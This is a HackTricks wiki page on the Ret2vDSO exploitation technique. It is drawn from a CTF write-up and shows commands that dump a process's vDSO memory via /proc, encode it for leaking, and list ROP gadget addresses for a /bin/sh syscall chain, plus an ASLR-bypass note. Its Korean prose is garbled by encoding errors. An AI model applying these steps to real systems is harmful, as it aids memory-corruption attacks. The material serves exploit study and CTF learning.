Ret2vDSO
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Basic Information
vDSO ์์ญ์ ๊ฐ์ ฏ์ด ์์ ์ ์์ต๋๋ค, ์ด๋ ์ฌ์ฉ์ ๋ชจ๋์์ ์ปค๋ ๋ชจ๋๋ก ์ ํํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ์ด๋ฌํ ์ ํ์ ๋์ ์์๋ ์ผ๋ฐ์ ์ผ๋ก vDSO ์์ญ์ ๋คํํ๊ธฐ ์ํด ์ปค๋ ์ด๋ฏธ์ง๊ฐ ์ ๊ณต๋ฉ๋๋ค.
https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/์ ์๋ฅผ ๋ฐ๋ฅด๋ฉด, vdso ์น์ ์ ๋คํํ๊ณ ํธ์คํธ๋ก ์ด๋ํ๋ ๋ฐฉ๋ฒ์ ํ์ธํ ์ ์์ต๋๋ค:
# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317 /target
08049000-0804a000 r-xp 00001000 00:02 317 /target
0804a000-0804b000 rw-p 00002000 00:02 317 /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0 [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s
# Compress and leak it
gzip vdso
base64 vdso.gz
# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
ROP ๊ฐ์ ฏ ๋ฐ๊ฒฌ:
vdso_addr = 0xf7ffc000
int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800
# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a
# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca
# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
Caution
๋ฐ๋ผ์ ์ปค๋์ด CONFIG_COMPAT_VDSO๋ก ์ปดํ์ผ๋ ๊ฒฝ์ฐ vdso๋ฅผ ์ ์ฉํ์ฌ ASLR์ ์ฐํํ ์ ์๋ ๋ฐฉ๋ฒ์ด ์์ ์ ์์์ ์ฃผ์ํ์ญ์์ค. ์ด ๊ฒฝ์ฐ vdso ์ฃผ์๋ ๋ฌด์์ํ๋์ง ์์ต๋๋ค: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639
ARM64
kali 2023.2 arm64์์ ๋ฐ์ด๋๋ฆฌ์ vdso ์น์ ์ ๋คํํ๊ณ ํ์ธํ ํ, ์คํ์ ๊ฐ์์ ๋ ์ง์คํฐ๋ฅผ ์ ์ดํ๊ฑฐ๋ ret๋ฅผ ์ํ x30์ ์ ์ดํ ์ ์๋ ํฅ๋ฏธ๋ก์ด ๊ฐ์ ฏ์ ์ฐพ์ ์ ์์์ต๋๋ค SROP์ ํธ์ถํ๋ ๋ฐฉ๋ฒ์ ์ ์ธํ๊ณ . ํ์ด์ง์ ์์์ ๋ ๋ง์ ์ ๋ณด๋ฅผ ํ์ธํ์ญ์์ค:
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


